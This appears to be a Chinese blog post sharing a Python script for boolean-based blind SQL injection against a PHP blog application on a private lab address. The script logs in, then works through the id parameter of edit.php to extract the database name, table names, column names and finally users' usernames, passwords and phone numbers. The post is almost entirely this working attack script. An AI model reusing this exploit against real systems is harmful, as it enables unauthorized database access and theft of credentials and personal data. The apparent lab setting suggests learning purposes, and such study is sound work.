Python SQL布尔型盲注

# -*- coding: utf-8 -*-
# @Time : 2022/6/16 17:12
# @Author : admin
# @Email : 1985264689@qq.com
# @File : blindtk.py
# @Project : 项目
# @脚本说明 :
from collections import Counter
import requests

#保持session会话状态
url = 'http://192.168.0.0/learn/blog/login-1.php'
data = {'username':'admin','password':'123456','vcode':'0000'}
session = requests.session()
resp = session.post(url=url,data=data)

#取数据库名称长度
count = []
for l in range(1,10):
    url1 = f'http://192.168.0.0/learn/blog/edit.php?id=1 and length(database())={l}'
    data_len = session.get(url=url1)
    lens = len(data_len.text)
    #用Counter去计算列表内出现最多的值
    count.append(lens)
    num = Counter(count)
    res = num.most_common()
    max = res[0][0]
    if lens > max:
        print(l)

#取数据库名称
sum = 'abcdefghijklmnopqrstuvwxyz0123456789,_:'
dataname = ''
count = []
for k in range(1,16):
    for i in sum:
        url2 = f'http://192.168.0.0/learn/blog/edit.php?id=1 and substr(database(),{k},1)="{i}"'
        data_name = session.get(url=url2)
        lens = len(data_name.text)
        count.append(lens)
        num = Counter(count)
        res = num.most_common()
        max = res[0][0]
        if lens > max:
            dataname += i
            break
print(dataname)

#取数据库表名
table_list = ''
count = []
for h in range(0, 15):
    for i in sum:
        url3 = f'http://192.168.0.0/learn/blog/edit.php?id=1 and ' \
               f'substr((select group_concat(table_name) from information_schema.tables where table_schema="{dataname}"),{h},1)="{i}"'
        table_name = session.get(url=url3)
        lens = len(table_name.text)
        count.append(lens)
        num = Counter(count)
        res = num.most_common()
        max = res[0][0]
        if lens > max:
            table_list += i
            break
print(table_list)

#取表中的列名
tablenames = table_list.strip().split(',')
count = []
for tablename in tablenames:
    column_list = ''
    for h in range(100):
        for i in sum:
            url4 = f'http://192.168.0.0/learn/blog/edit.php?id=1 and ' \
                   f'substr((select group_concat(column_name) from information_schema.columns where table_schema="{dataname}" and table_name="{tablename}" ),{h},1)="{i}"'
            column_name = session.get(url=url4)
            lens = len(column_name.text)
            count.append(lens)
            num = Counter(count)
            res = num.most_common()
            max = res[0][0]
            if lens > max:
                column_list += i
                break
    print(column_list)

# 取users表中的核心列名值
center_value = ''
count = []
for m in range(200):
    for i in sum:
        url5 = f'http://192.168.0.0/learn/blog/edit.php?id=1 and substr((select group_concat(concat_ws(":",username,password,phone)) from users),"{m}",1)="{i}"'
        value = session.get(url=url5)
        lens = len(value.text)
        count.append(lens)
        num = Counter(count)
        res = num.most_common()
        max = res[0][0]
        if lens > max:
            center_value += i
            break
print(center_value)
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值